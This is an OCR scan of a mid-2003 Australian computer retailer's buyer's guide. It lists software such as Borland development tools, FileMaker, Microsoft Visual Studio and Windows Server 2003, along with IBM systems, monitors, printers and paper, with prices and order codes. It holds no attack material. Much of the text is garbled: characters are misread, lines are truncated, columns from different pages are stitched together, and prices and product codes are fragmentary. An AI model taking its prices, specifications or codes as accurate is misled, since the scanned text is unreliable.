• Powerful charting tools 

• Create and monitor watch iists 
of shares. 

• Set up alerts to notify when 


Quicken 

Payroll Premier 2002 


Easy payroll management 
for all Businesses. 

• Easy to learn and use 

• Fast spreadsheet entry 

• One touch processing 

• Fast spreadsheet entry 


Quicken 

QuickPOS Retailer V5 


Works like a cash register! 

• GST made easy 

• Bas reports and more 

• Integrated EFTPOS 

• Fast and easy 

• Intuitive and easy accounting 




Quicken' 


$189 


$410 


’RICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS.] 

Sales: 1300 13 9999 Web: www.ht.com.au 
Fax: 1300 13 6666 Email: sales@ht.com.; 


$ 1,799 


Delivery 


Australia 


Wide 


shares meet set prices. 


JTi 



































Boriand' 


fPrices are subject to change. Check here for latest prices & products 

1 


Develop, Deploy, Integrate Software Applications 


Not all items are 
In stock at all 
stores but can be 
ordered for Pick¬ 
up or Delivery! 




Borland® Kylix^S Professional 


~ I 

wm 


Rapid application development for Linux* 

Borland® Kylix'” 3 Professional delivers a high performance C++ and Delphi"" language solution for rapid 
creating database, GUI, and Web server applications for Linux®. Its compatibility with Borland C++Builde 
6 and Delphi 6 enables seamless cross-platform Linux/Windows* development, while the power of CLX 
(Component Library for Cross-platform) technology facilitates reliable, high-performance applications. 


Full Version (G1907) 


$489 


Upgrade/crossgrade (J2795) 


$25 


Borland®Delphr7 Studio Professional 




Special Upgrade Pricin 

High-productivity cross-platform development 

Borland® Delphi™7 Studio Professional delivers new, integrated technologies for increased productivity. 
Get your applications ready for Microsoft* .NET with the Delphi™ 7 Studio migration kit. Expand your 
market opportunities: use one code base to leverage the power of cross-platform development for Linux® 
with the included Borland Kylix™3 for Delphi” environment. 


Full Version (F8766) 


$1,959 


Upgrade (F8767) 


$69< 


Borland® C++Builder"'6 Professional 


Wine 

on-line? 


Boriand I 
C++Bujlj||J 


Special Upgrade Pricin 

RADical C++ for Windows* 

Borland* C++Builder™ 6 Professional provides a productive visual development environment that enables 
developers to easily integrate Web Services into their applications using SOAP, XML and WSDL. With 
CLX™, the Boriand Component Library for Cross-platform development, they can create cross-platform- 
ready solutions for currently planned Borland C++ products for the Linux* platform. 

Upgrade (E2149) $59! 


Full Version (E0923) 


1,949 


I Computer Associates 


) 


fPrices are subject to change. Check here for latest prices & products 


mm 


New! BrightStor Mobile Backup v4 


Is the exposure of data loss for mobile and remote PCs users 
becoming a concern for your organisation? 


According to the Trilliant Group data recovery is a major concern of management. The ability to 
have some restoration capacity is a sought-after feature by many mobile and remote users who 
may not always have access to the network. 

BrightStor Mobile Backup from Computer Associates is the industry’s ultimate backup and 
1^ restore solution designed for mobile users and critical desktops that need to protect their 
data with a transparent, fast, easy and automatic solution. 


Delivery 

Australia- 

Wide 


Some of the new features include : 


• Enhanced Graphical User Interface 

• Simplified Licensing Model 

• Simplified Installation Process 

• Automated Client Configuration and Backup Set Configuration 

• Centralised Management and Automatic Discovery of Multiple BrightStor 
Mobile Backup Servers 


BMB10U20100 BrightStor Mobiie Backup 10 User Pack 
BMB10020100 BrightStor Mobile Backup 100 User Pack 


(J2395) $680 

{J2398) $3,998 



HARRIS 


TECHNOLOGY™ 


PRICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS. 
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FileMaker. 


C ’rices are subject to change. Check here for latest prices & products! h 

il 


Jump start your productivity 


For a limited time, purchase 10 or more FileMaker Pro 6 VLA 
Licenses and get a copy of FileMaker Server for FREE!^ 

This offer is valid on purchases made 
between April 1 and June 28,2003. 

Offer not valid on Upgrade VLAs, 

Subscriptions, Education Licensing, 

MVLAs or Box Sets. 

Offer limited to one FREE product per order. 

Offer not valid in connection with any other 
lleMaker, Inc., discount or promotion and 
s subject to change without notice. 



FileMaker. 


For terms and conditions, please visit the following website: http://www.filemaker.com.au/promos/server aus.html 



ileMaker Pro 6 enables you to easily organise and track people, 
rejects, images and information. Workgroups can quickly share 
ontent over a cross-platform network or their intranet via a web 
rowser. New to version 6 is support for XML, extending the reach 
FileMaker Pro to a virtually limitless 
lumber of other applications. Also includes 21 
lew and updated templates for instant productivity. 

Jpgrade Full Version 

=4327) $269 {F4326) $565 V 


FileMaker Pro 6 Unlimited 


■ileMaker Pro 6 Unlimited enables powerful Internet and intranet 
veb database publishing, which brings expanded productivity to 
he workgroup, helping you manage and share important information 
over your intranet or the Internet. Use the FileMaker 
Web Sewer Connector to increase the 
serformance, reliability and scalability 
of your FileMaker Web databases. 


FileMaker Server is the best way to deploy your FileMaker Pro 5, 
5.5 and 6 solutions. Running on Windows® and Red Hat® Linux, it 
features an easy-to-use relational database server supporting up to 
250 concurrent guests and 125-hosted files. 

It includes centralised backups, remote administration, 

LDAP directory support and automatic updates of 
plug-ins for guests. 

Upgrade Full Version 

(E0881) $1r089 (C7741) $2,099 




Full Version 

{F4323) $2,199 




FileMaker Developer 6 enables you to design stand- 
solutions which take advantage of the powerful 
new features in FileMaker Pro 6. Features like 
digital image import, customisable dialogue boxes, 
and XML import and export. Enhancements to 
FileMaker Developer 6 include updated versions of 
the Script debugger, database design report and 
developer tool. 

Full Version 

(F5578) $1,095 



For Pocket PC and Palm OS! FileMaker Mobile 2.1 lets you easily 
synchronise information between local FileMaker Pro 5.5 v2 and 6 
databases and a handheld device. New version 2.1 adds 
compatibility with bar code scanning devices on Pocket PC and 
Handspring Visor (Palm OS) handhelds using the 
symbol barcode. Leverage the power of the desktop 
and benefit from the portability of the handheld. 

Modify, sort, add and delete records wherever you 
go! 

Full Version 

(G2248) $85 ' 


Volume Licensing Options 


With a Volume License Agreement (VLA), you qualify for licensing 
pricing on all products licensed, regardless of the quantity. Or, make 
it even easier and license all FileMaker products for an entire site of 
at least 50 seats with FileMaker Box Set. Education facilities are 
entitled to even greater discounts. Call one of our licensing 
specialists to discuss the many advantages of purchasing FileMaker 
licensing. 

For licensing information and quotes piease 
cali Harris Technology on: 1300 13 9999 



'RICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS. HARRIS Torhnninnu Tpntrp 

: 1300 13 9999 Web: www.ht.com.au TECHNOLOGvJecnnoiogy L^entre 


Sales: 

Fax: 1300 13 6666 


Email: sales@ht.com.au 





































H^cmsoft 


fPrices are subject to change. Check here for latest prices & produrt 


Microsoft Developer Tools 


Get a FREE ViewSonic Pocket PC with 
Visual Studio .NET 2003 and MSDN®! 


Limited Time Offer, Whiie Supplies Last! 

This offer will be open to customers who acquire English full pack¬ 
aged product editions (full price as well as eligible version upgrades) 
of the following products: ^__ 

OO 

r'rrtcrtft* 



Visual Studio.net 


Visual Studio .NET 2003 Professional 

Full (10361) $2,199 
Upgrade (J2516) $1,019 


Visual Studio .NET 2003 Enterprise Developer 

Full (J0015) $3,649 
Upgrade (J2814) $1,99$ 


Visual Studio .NET 2003 Enterprise Architect 


(J0017) $4,999 


Upgrade (J2815) $3,32$ 


msdn: 


MSDN® Professional 

Full (D1932) $2,470 
Upgrade (D1903) $1,73$ 


MSDN® Enterprise 

Full (D3003) $4,35$ 
Upgrade (D9365) $3,175 


MSDN® Universal 

Full (D1749) $5,499 
Upgrade (D1661) $4,549 


Terms and Conditions: Subject to availability of this offer, register your eligible Microsoft® Visual Studio® .NET 2003 or 
MSDN Subscription through the link below to receive a FREE ViewSonic V37 Pocket PC. This offer will start on May 1st, 
2003, and will continue until June 30, 2003, or while supplies last. Visit httD://www.microsoft.com/australia/msdn/ 
visualstudio/aetDocketDc.asD or phone 132058 (option 2,2) to obtain a redemption voucher. Please allow 4 weeks for delivery. 
Please note, the following products will not be eligible for this offer: 

Visual Studio .NET 2003 Academic Visual C++® .NET 2003 Standard 

Visual Studio .NET 2003 60-day Evaluation Visual C#® .NET 2003 Standard 

Visual Basic® .NET 2003 Standard Visual J#® NET 2003 Standard 


PRICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAIL! 

Sales: 1300 13 9999 Web: www.ht.com.au 
Fax: 1300 13 6666 Email: sales@ht.com.au 



See Page 2 
for Locations 
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flicrosoft Windows Server 


Sm 

Am 

Microsoft- 

Windows Server2003 


WINDOWS SERVER 2003 IS HERE NOW! 



Windows Server 2003, Standard Edition 


Windows Server 2003, Standard Edition is the network operating 
system for smali organisations and departmentai use. it deiivers 
intelligent file and printer sharing, secure Internet connectivity, 
centralised desktop application deployment, and Web solutions that 
connect employees, partners, and customers. Windows Server 
2003, Standard Edition takes the best of Windows 2000 Server 
technology and makes it easier to deploy, manage and use. The 
result is a highly productive operating system that is secure, reliable, 
and ready to use “out of the box,” with features that provide robust 
availability and scalability. 


WindowfS Server Standard Edition 2003 5 Client (10357) 


$2,099 


Windows Server 2003, Enterprise Edition 


Built for medium to large businesses, Windows Server 2003, 
Enterprise Edition delivers the functions needed for enterprise 
infrastructure, line-of-business applications, and e-commerce 
transactions. Windows Server 2003, Enterprise Edition is a full- 
function operating system that supports up to eight processors and 
provides enterprise-class features such as 4-node clustering and 
up to 32GB of memory. This product is also available for 64-bit 
computing platforms. 


Windows Server Enterprise Edition 2003 25 Client (10360) 


10 REASONS TO UPGRADE FROM NT 4.0 


Identity Management via Active Directory 
I Many to One Management via Group Policy & Scripting 
J At Least 2x Performance 

4 End User Productivity via Shadow Copy 

5 Robust, Scalable Web Server 


6 Any Device Application Access via Terminal Services 

7 Server Clustering 

8 Easy PKI and Kerberos Security 

9 World-class Application & Web Services Application Server 

10 Intelligent File Services (Distributed, Replicated, Encrypted) 



$8,039 


\sk us about licensing Windows Server 2003. Call our licencing team on 1300 13 9999 63 


Y CHANGE. PLEASE REFER M 


Sales: 1300 13 9999 
Fax: 1300 13 6666 


Web: www.ht.com.a 

Email: sales@ht.com.a 

























Microsoft' 

Office:mac 



Just what you need. Just for Mac OS X. 




See 

Web 

Direct 

Link 

(at top of page) 

for 

more 

products 

and 

latest 

info! 


Full product (G 1055 ) 

$899 

Upgrade (F 8238 ) 

$549 


For volume discounts call 
our licensing team on 
130013 9999 

The Package includes: 

WORD X EXCEL X POWERPOINT X - ENTOURAGE X 

PROCESSING SPREADSHEETS PRESENTATION E-MAIL CLIENT 

• Modern user interface. The user interface within Office v. X for Mac has been completely 
redesigned to include a bold and classy new Aqua visual appearance that is a perfect representation of 
what an application running on Mac OS X should look and feel like. 

• Communication is a snap. E-mail is made even easier in Entourage X by allowing connections tc 
Microsoft® Exchange servers, Hotmail and Mac.com so users can more efficiently manage e-mail online 
and off. With the integrated and improved Entourage calendar, easily organise your schedule, and set 
reminders for important events and projects. 

• File sharing. Compatible with Office 97, 2000, and Microsoft® Office XP so you can share your work 
and files with anyone whether they use a Mac or PC. (Also compatible with Office 98 Macintosh Edition 
and Office 2001 for Mac). 

• Get started fast. Easily access customisable templates for resumes, catalogue, newsletters, 
calendars, and more from the Project Gallery. The Clip Art Gallery, including hundreds of images, provides 
tools to make working with graphics quick and easy. 
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BUirERS GUIDE 


*3.00 inc GST 


nH 
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0 Hardware • Software • Consumables 





A STRONG PARTNERSHIP 


june-july2003 


$ 2045 “ 




$579 


AutoCAD LT 2004 


Belkin Bluetooth USB Adapter 
100 metre Range 


Adobe Acrobat 6.0 Standard 


Mitac T-E32-P2424S-RWMH 


$1199- 


ilswll & iTlilE 
































































Index 

Fast reliable delivery, knowledgable staff _ 


Index of Hardware Manufacturers 

Specialising In the supply of computer hardware and supplies solutions for business, 
government, educational and home users. 




Epson . 8.10.13, 24 

Fujitsu . 31 

Gigabyte . 19 

Graphix. 3S 

Handspring . 21 

Hewlett Packard 

. 8. 9.11.13,14,23, 24.25 

IBM . 5 

Imation. 14, 22. 23 

logear .8 


Iomega ... 

Keytek ... 
Kodak ... 
Labtec ... 

LaCie . 

Lexmark 

LG . 

LiteOn ... 

Microsoft 



20 


17. 27 
... 20 


Microsoft Press . 9 

Microtek .10,31 

Mitac. 4 

Mitsubishi. 6 

Nec. 13 

Netcomm . 16 

Netgear. 17 



Philips . 6,13 


Pioneer 15 

Samsung . 6 

Seagate. 17 

SlimAGE 6 

Sony . 6,12,13,14,20 



Index of Software Manufacturers 

Largest range of computer software and software licensing solutions at the most 
competitive prices. 




Crystal Decisions. 42 

Dragon . 40 

Encyclopaedia Britannica 44 

Extensis. 35 

FileMaker. 36 

IMSI . 39 

Ipswitch . 41 

Jasc .35,43 


Laplink . 38 PC Duo . 43 

Macromedia . 32 PowerQuest.46,47 

Maus . 27 Quark . 35 

Melways . 44 Quicken .38, 39 

Microsoft . 28 Retrospect . 44 

MYOB . 37 Roxio. 42 

Norman . 43 Somix. 41 


. 38, 41 Steinberg . 43 

.... 32 Sun Microsystems . 37 




Dedicated Account Management 


Software Licensing 


Contact Details 
ISWH 

Sales: 1300 300 003 
Fax: 02 9700 8801 
web: www.lswh.com.au 
Email: sales@iswh.com.au 


City Software 

Sales: 1300 658 600 
Fax: 1300 658 010 
Web: www.csw.com.au 
Email: sales@csw.com.au 


Black Tie Service 

Plain Wrap Prices 


Rentai Finance For smaii Business. 


www.iswh.com.au & www.csw.com.au 


JUPil!^/JUI ' 200S 

















JUNE/JULY 200S 


Computer Systems 

Computer Products at Rock Bottom Prices 


T-E32-P2424S-RWMH 

Midi Tower T Series 
Intel Pentium 4 2.4GHz 
Gigabyte GA-8SIMLH 
256MB DDR 
Seagate 40G6 7200rpm 




$2955 I 

I $2999 

I $5445 

1 $5245 1 

$28.79^ 

F^R W^K> 

$33.79 

PER WEEK> 

$47.81 

PER WEEK> 


. 

l^bsw^oda.196415 

|Web».rchCod..196416 


1300 300 003 







































Hardware 

Software 

Consumables 


Computer Systems 


IBM Desktop Systems 


Q- 


CD/DVD-ROM: 
Floppy Drive: 
Grai^ics Chipset: 


PRICE MAY 
DROP! 


Image for illustration purposes only. Monitor not included. 


IBM Netfinity Servers 


Leveraging proven, innovative IBM technologies to build the 
most powerful, scalable, reliable Intel processor-based servers in l^essor 
the world! Guiding principles include enhancing and extending Memory (RAM) 
industry standards, driving down the total cost of IT, and Rerd Drive (IDE) 

delivering OnForever computing (come as close as possible to Mm. Storage Capacity 

achieving ZERO outages - scheduled or unscheduled). /s-—■ 


830952A 

NetVista A30p Black DT 

Intel Celeron 1.7GHz 

128MB SDRAM 

40GB 

CD-ROM 

1.44M6 

Intel Extreme Graphics 
No/1(V100 

IBM Preferred Pro PS/2 

Windows XP Pro 

3yrs parts, lyr labour 

682646M 

NetVisU A30 Black SFF 

Intel Pentium 4 2.4GHz 

256MB SDRAM 

40GB 

CD-ROM 

1.44MB 

Intel Extreme GraphiG 

IBM Preferred Pro PS/2 

Windows XP Pro 

3yrs parts, lyr labour 

1 $1095 

1 $1S99n 

$12.00 
PER WEEK> 
IWebsearch Code.196546 

$15.34 

1 PER WEEK> 

1 IWebsearch Code.196547 

Netfinity 848023X 
xSeries 205 Mini-Tower 

Intel Pentium 4 2GHz 

256MB (Max.2GB) 

40GB ATA-100 

HorizontaWertkal 

1 AGP.5 32bit PCI 33 MHz 

CD-ROM 

4MB ATI Rage XL 

Ethernet Integrated 

1 year parts & labour, 

Netfinity 86473AX 
xSeries 225 Tower 

Intel Xeon 2.4GHz 

512MB (Max.8GB) 

No (SCSI Controller) 

Vertical 

1 32bit PCI 33MHz, 

4 64bit PCI 100MHz 

CD-ROM 

1.44MB 

SMB ATI Rage XL 

Ethernet Integrated 

1 year parts & labour, 

$1699 

$2999n 

$18.62 

PER WEEK> 
IWebssarch Code.196548 

ESIH $29.41 

PER VVEEK> 
IWebsearch Code.196549 


2S81CFM 

ThinkPad R40 

Intel Pentium 4-M 1.9GHz 


Pointing Device: 
Operating System: 
Weight: 

Warranty: 


PRICE MAY 
DROP! 



notebooks are for frequently mobile users who want 
easy, ready-to-run computing. 


2681DQM 

ThinkPad R40 

Intel Pentium 4-M1.9GHz 

20GB 

15" TFT 

DVD 

32MB 

V.92 56K/10/100 

2 USB(2.0), IrDA 

27229BM 

ThinkPad R40 

Intel Pentium M 1.4GHz 

256MB 

40GB 

14.1" TFT 

DVD/CD-RW 

16MB 

V.92 56K/10/100 

802.11b 

2 USB(2.0), IrDA 

Dual 

2681HNM 

ThinkPad R40 

Intel Pentium 4-M 2GHz 
256M6 

40GB 

15" TFT 

DVD/CD-RW 

32MB 

V.92 56K/10/100 

Upgradable 

2 USB(2.0), IrDA 

Dual 

2681L5M 

ThinkPad R40 

Intel Pentium 4-M 2.2GHz 
256MB 

60GB 

15" TFT 

DVD/CD-RW 

32MB 

V.92 56K/10/100 

2 USB(2.0), IrDA 

Dual 

Windows XP Pro 

3.1kg 

1 year parts & labour 

Windows XP Pro 

2.8kg 

Windows XP Pro 

3.1kg 

1 year parts & labour 

Windows XP Pro 

3.1kg 

1 year parts & labour 

$2860 

$3225 

$3599 

1 $a625 1 

$28.05 

PER WEEK> 
IWebsearch Code.196066 

$31.63 

PER WEEK> 

1 IWebsearch Code.196550 

$35.30 

PER WEEK> 
IWebsearch Cod..196065 

B^|$43!^ 

PER VVEEK> 
IWebsearch Code.196084 


.( www.iswh.com.au 


We offer specialised 
advice and extremely 
competitive prices on 
IBM's range of server, 
workstation and 
notebook products. 
Call us for a quote 
today! 


*Purchase 
Office XP 
on your 
new PC - it's 
Cheaper! 



Buy Office XP Pro with 
a new PC and SAVE 
approximately 65% 
off the RRP of full 
commercial versions! 
Call 1300 300 003 


purchasing Office XP 
Pro or Small Business 
with your new PC. 
(OEM versions) 


Juzt Reboot 


Juzt Reboot Intelligent 
back-up technology! Instant 
Recovery! No matter 
how your System/Data 
is destroyed; either by 
virus attacks, deletion, 
formatting, overwrites, 
fdisk, modification or 
improper shutdowns. Just 
Reboot and your system will 
recover instantly. No other 
additional system/data 
recovery operations are 
required. The Juzt Reboot 
Recovery Card can support 

capacity. This is a useful 
feature especially when 
you wish to upgrade your 
system. 

Free 64mb Pocki USB drive. 
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Monitors 


Computer Products at Rock Bottom Prices 


Nexdisk USB 
Storage Device 


to deal with your growing 
storage requirements. Simplj 
plug directly into your 
computer's USB port, then 


information Is kept se 



Philips CRT Monitors 

Light Frame Technology enables you t 
monitors display images without the c 


ith password; Bootable Disk 
motion - Like FDD, CDR 
id HDD, it is independently 



brighten and sharpen specific on-scr< 
stortion from curved screens. Image C 
iffers dramatic picture quality improvements. 

Dot Pitch/Max Res/Refresh/Hor Scan Freq 

0.27mm/1280x1024ffi5/70KHz 
0.27mm/1280x1024/85Hz/70KHz 
0.25mm/1280x1024785/71KHz/Light Frame 
0.25mm/1920x1440/115/92KHz/Light Frame 
Dot Pitch/Max Res/Refresh/Hor Scan Freq 
0.27mm/1920x1440/85/92KHz/Light Frame 
0.25mm/1920x1440/85/97KHz/Light Frame 
0.25mm/1920x1440/85/111 KHz/ICE 
Dot Pitch/Max Res/Refresh/Hor Scan Freq 
0.25mm/1920x1440/85/1 ISKHz 
Dot Pitch/Max Res/Refresh/Hor Scan Freq 
0.24m mfl048x1536ffi5/130KHZ/ICE 


Philips LCD Monitors 

Superior brightness, high contrast ratio and excellent colour saturation for much better on-screen performar 
to have no bright dots (i.e. Pixels on LCD panels that are stuck permanently bright). Professional models featur 
get the best display performance without sacrificing compatibility with older VGA analog devices. 


ISinch Pixel PitcIVMax.Res/Refresh/Hor.Scan Freq 

150S4FG Beige 0.297mm/1024x768/75Hz/61kHz 

150S4FB Black 0.297mm/1024x768/75Hz/61kHz 

150B3B Beige 0.297mm/1024x768/75Hz/61kHz/Zero Bright-Dot 

150B3Y Silver 0.297mm/1024x768/7SHz/61kHz/Zero Bright-Dot 

150P3A Beige 0.297mm/1024x768/75Hz/6lkHz/Zero Bright-Dot/DVI/Mic&Spkrs 

150P3C Black 0.297mm/1024x768/7SHz/61kHz/Zero Bright-Dot/DVI/Mic&Spkrs 

17ineh 

170S4FG Beige 0.264mm/1280x1024/7SHz«2kHz 

170S4FB Black 0.264mm/1280x1024/75Hz«2kHz 

170B4BG Beige 0.264mm/1280x1024ff5Hz«2kHzfl3VI 

170B4BB Black 0.264mm/1280x1024/75Hz/82kHz/DVI 



Sony Microvolt 
USB 2.0 Storage 
Device 


LC Studioworks SW700S Samsung SyncMaster 
17" CRT Monitor 


Features: 0.27mm dot pitch, INVAR Mask 
visual area 327 x 246mm, anti-static and 
glare and anti-reflection surface treatme 
maximum resolution 1280x1024 eSOHz, 
signal: separate, 

OSD control, 
dimensions (WxDxH): 

400x420x395mm, 
weight: net 14.4kg. 


753S17" CRT Monitor 

Dot pitch: 0.23mm (Hoc). Video Signal: RGB 
Analogue separate H/V, composite Horizontal. 
Frequency: 30-70KHZ. Vertical Frequency: 50- 
160Hz. Max Resolution (based on VESA GTF 


Mitsubishi Diamond View 
1770H17" CRT Monitor 



LC L1510S 15" TFT LCD 
Monitor 

Features: 15" TFT-LCD super slim bezel, 1024x768 
e75Hz, 250 cd/m2(Typical), 300:1, wide viewing 
angle : 90’(H)/120'(V), video signal type: separate, 
RGB analog, input 
connector: 15pin-D- 
sub, TC099 and ISO 
13406-2 and EPA Ene 
Star Com| 
and play : DDC 2B, 
dimensions (WxHxD): 

356x359x152mm, net 
weight: 4.0kg, wall/ai 
mount type: VESA. 


Samsung SyncMaster ISIS SlimAGE 15" TFT LCD 
15" TFT LCD Monitor Monitor 


1024x768®76Hz. scanning frequency (hor.): 30- 
61kHz, dimension: (WxHxD) 391.4x383.6x173mm, 
colors: 16.2m, pixel pitch: 0.297mm, brightness: 
250cd/m2, 


304.1x228.1 mm, pixel pitch 0.297x0.297mm, 
display mode XGA 1024x768(60^ro/75Hz). 
contrast ratio 300, brightness 230 cd/m^ 
iplay colours 16M 
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Pinnacle Edition 5 



Call for Pricing 


Pinnacle Edition Pro 5 

Pinnacle's definitive solution for advanced 
video editors & enthusiasts. Edition 5 Pro 
answers all Non-linear editors' wishes for a 
powerful. Integrated, real-time editing & 
DVD authoring solution for the PC. Make 


missing! Includes ATI graphics hardware with 



Call for Pricing 


$65 


iWebsearch Code.1309881 


Belkin USB 2.0 
FireWire PCi 
Card 

ports and 2 FireWire ports 
to your PC; providing you 
with the ideai interface 
for transferring extremeiy 
iarge files from USB 2.0 and 
FireWire peripherals. 
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Paper Supplies 

Computer Products at Rock Bottom Prices 


lOgear CCS-62 

Use one keyboard, monitor, 
mouse to control two PCs. 
Easy to install - No software 

to the computers is all 


$119 


IWefasearch Code.1948791 


SwannSmart 
Turbo sekv.go 
Modem 

This fast and reliable 
external modem provides 
high-speed Data, Fax and 
Voice communication while 
offering easy Internet access. 
Equipped with an Intel 

Turbo features crystal clear 
hands-free voice transfer, 
making it one of the best 
voice modems available. 





HP Premium choice Paper 


Webseareh HP Part No. 
192820 Q1936A 

195270 Q1937A 

196202 CHP412 


Product 

A4 98gsm Premium Paper 
A3 91gsm Premium Paper 
A4 120gsm Premium LaserJet Paper 


HP Everyday Paper 

Webseareh HP Part No. Product 

196203 Q2400A A4 SOgsm Everyday Paper 

HP Bright White InkJet Paper 

Webseareh HP Part No. Product 

196205 C1825A A4 90gsm BrightWhite InkJet Paper 




HP Colour Laser Paper 


HPI5237 CHP350 


t4 lOOgsm Coiour Laser Paper 


Canon Photo Paper 


129552 

196192 

192789 

192788 

196194 

196195 

196358 

196197 

196199 


FM-101 

LC301-A41I 

HR-101NA450 

GP-301NA4 


HR-101NA3!I 

GP-301NA3 

PR-101A3 


6x4 Glossy Perforated Photo Cards 
A4 SOgsm Matte Coated Paper 
A4 110gsm Matte Photo Paper 
A4 165gsm Glossy Photo Paper 
A4 170gsm Matte Photo Paper 
A4 270gsm Glossy Photo Paper Plus 
A3 llOgsm Matte Photo Paper 
A3 165gsm Glossy Photo Paper 
A3 245gsm Pro-Quality Photo Paper 


196200 SW101 A4 Super-white Uncoated Plain Paper 

Canon Transparencies 

Webseareh Canon Part No. Product 

196188 CF102-A4II A4 Transparencies - Ali BubbleJet Printers 

196189 CF101-A4 A4 Transparencies - BJC800 Series only 


Quantity 



20 sheets 
20 sheets 


quantity 
250 sheets 


Quantity 
20 sheets 






Chicony 
Entry Level 
Keyboard 

(KB-98101 

• Entry level keyboard. 

• Compact size design. 

• User friendly ACPI function 
keys arrangement. 

For the Chicony keyboard 
range (including ergonomic, 
multimedia and card 



$19” 




Kodak 



EPSON General Purpose Paper 

Webseareh EPSON Part No. Product 

EPS451 S041061 Photo Quality Inkjet Paper A4 210x297mm 

EPS385 5041068 Photo Quality Inkjet Paper A3 297x420mm 


EPSON Photographic Paper 


190755 

EPS321 

191281 


S041288 

S041258 

S041260 

S041134 

S041140 

S041142 


Product 

Premium Glossy Photo A4 210x297 (255gsm) 
Premium Glossy Photo A3 297x420 (255gsm) 
Matte Paper, Heavyweight A4 210x297mm 
Matte Paper, Heavyweight A3 297x420mm 
Photo Paper 102x152mm (4x6") 

Photo Paper A4 210x297mm 
Photo Paper A3 297x420mm 


Quantity Price 

100 sheets $28 


Quantity Price 

20 sheets $32 

20 sheets $80 

50 sheets $27 

50 sheets $65 

20 sheets $17 

20sheeU $16 

20 sheets $50 


Kodak Ultima Picture Paper (270gsm) ultra ciossy, satm 


Webseareh Product 

189300 Glossy A4 210x297mm 

195441 Satin A4 210x297mm 

195438 Glossy A4 & Satin A4 Limited stock! 

195437 Glossy 100x150mm (4x6") & Print Pack 


Quantity 
15 sheets 
15 sheets 
15x15 shts 
20 sheets 



Kodak Premium Picture Paper (220gsm) ultra ciossy, satm 


Webseareh Product 

189563 Glossy A4 210x297mm 

189301 Satin A4 210x297mm 


Quantity Price 

15 sheets $15 

15 sheets $15 


Kodak Picture Paper (190gsm) ciossy or Matte finish on both sides 


Webseareh Product 

195440 Glossy A4 25shts & 4x6" 20shts Ltd Stock! 

195433 Matte A4 210x297mm 

195434 Glossy A4 210x297mm 

195432 Glossy 100x150mm (4x6") 


Quantity Price 

25x20 sheets $15 

25 sheets $15 

20 sheets $10 
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Inside Out, Deluxe Edition 

• Newer, bigger, deeper coverage 
of Windows XP with the iatest 
on security, the Tabiet PC and 
other developments. 

• Award-winning INSIDE OUT 
format makes hundreds of 
tips, tricks, and workarounds 
easy to find and easy to use. 

• CD-ROM features third- 
party utilities, scripts, batch 
programs, and an electronic 
version of the book. 


HP LaserJet 4300N 

• 1200 X 1200dpi 


HP Colour LaserJet 2500N 


HP Colour LaserJet 4600N 

• 600 X eoodpi 



196463 

RentSmart 

$25.49 


HP 2500 $1879 

Webseareh 

192925 

It $20.60 


Rant5mairt $39.71 



RentSmart $60.73 



,11 1 1 — 1 1 n 


H$a389 


Lexmark E322N Laser 
Printer 


• SMB RAM 

• ISO sheet Input 

• USB / Parallel 


Uxmark E322 


Lexmark T522N Laser 
Printer 

• 1200 X 1200dpi 


Lexmark T522DN 



Lexmark W812N Laser 
Printer 


• Win / Mac 

• Ethernet ready 

Lexmark W812 $2499 

Webseareh 

196366 

RentSmart 

$24.51 


MS Press MCSE 

Self Paced Training Kit 
Win2000 2nd Edition 

• Delivers in-depth preparation 

• Fully revised and expanded 
$tu<fy guide 

• Exclusive test-readiness tool 
that generates timed, 50- 


• Includes the Miaosoft 
Encyclopaedia Of Networking, 
Second Edition. eBook 


^1533 



$1895 


$3199 


Lexmark T620N Laser 
Printer 


Lexmark C720N Colour 
Laser Printer 

• 600 x 600dpi 

• 24ppm black, 6ppm Colour 

• 32MB RAM 

• 250 sheet Input 


Lexmark C750N Colour 
Laser Printer 


• 1200 X 1200dpi 

• 19ppm black, 19ppm Colour 

• 64MB RAM 

• 600 sheet input 

• USB / Parallel 


MS Press 
Windows 
2000 sever 
Resource Kit 

• Essential print reference plus 
tools for maximizing a 
Windows 2000 Server 
installation 

• Software tools and utilities on 
CD-ROM exclusive to this krt 
and direct from Miaosoft 

• Exhaustive Information on 
deployment and administration 



















































Printers & Scanners 

Computer Products at Rock Bottom Prices 


n Syscan 
O Traveiscan 860 

O The Traveiscan 860 is a 

business card scanner which 
interfaces to any standard 
• ^ USB port. It is bundled with 
Syscan BCR business card 

oviding first-class 



Epson Perfection 
1260 Scanner 


photos. 1200 X 
2400 dots-per-inch 
optical resolution, 
48-bit colour depth, 


IWebseafch Code.1906871 

Epson Stylus C61 

• Up to 5760 X 720 optimised print resoiution 

• Up to 14 black and white pages per minute 

• Incredibly fine ink droplets at super fast speeds 

• EPSON AcuPhoto Halftoning: Whether 


Epson Perfection 3200 
Photo Scanner 

• 3200 X 6400dpi high resoiution scanning 

• Matrix CCD with Micro Lens 

• Advanced fiim scanning - supporting 35mm 
X 12 frames, strip fiim; 35mm x 4 siides, 
mounted fiim and 120/220 fiim 


Epson Stylus CX3100 

• All colour print, scan and copy 

• Up to 5760 Optimised DPI 

• 14 ppm Black and Colour 

• Scanning 48-bit colour depth scanning 

• Optical resolution of up to 9600dpi 



Epson Stylus Photo 915 Epson Stylus Photo 1290 


Syscan 

Traveiscan 464 

At only 335 grams, the 
Traveiscan 464 seems like a 
light weight but it packs plenty 

interface, 600 optical resolution 
and the versatile PageManager 
6 document management 
software. Scan an A4 page in as 




Lexmark X75 All-ln-One 

2400 X 1200 dpi 
11 ppm black, 6ppm black 
One-touch 48 Bit Scan 
One-touch Colour Copy 


Lexmark Z45se Color 
Jetprinter 

4800 x 1200 dpi 
15ppm black, 9ppm black 
Automatic Cartridge Alignment 
Accu-Feed Paper Handling System 
USB 


Lexmark Z65 Color 
Jetprinter 


• Accu-Feed Paper Handling System 


Microtek SM 
4900 





The MFC-3100C is 
and PC Fax. It'deli 




Brother HL-5040 Laser 
Printer 

16 ppm print speed 8 MB memory, expandable 
to 136 MB 1200 dpi print resolution 250 sheet 
paper tray + 250 sheet optional paper tray 
Windows, DOS and Mac compatible PCL6 
emulation IEEE 1284 parallel, USB 2.0 interface 
Optional Network ^ 

interface (Ethernet 
10/100 base TX) , . ' ’ 





$390 
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Printers St Scanners 


Sfliiullft Hardware 

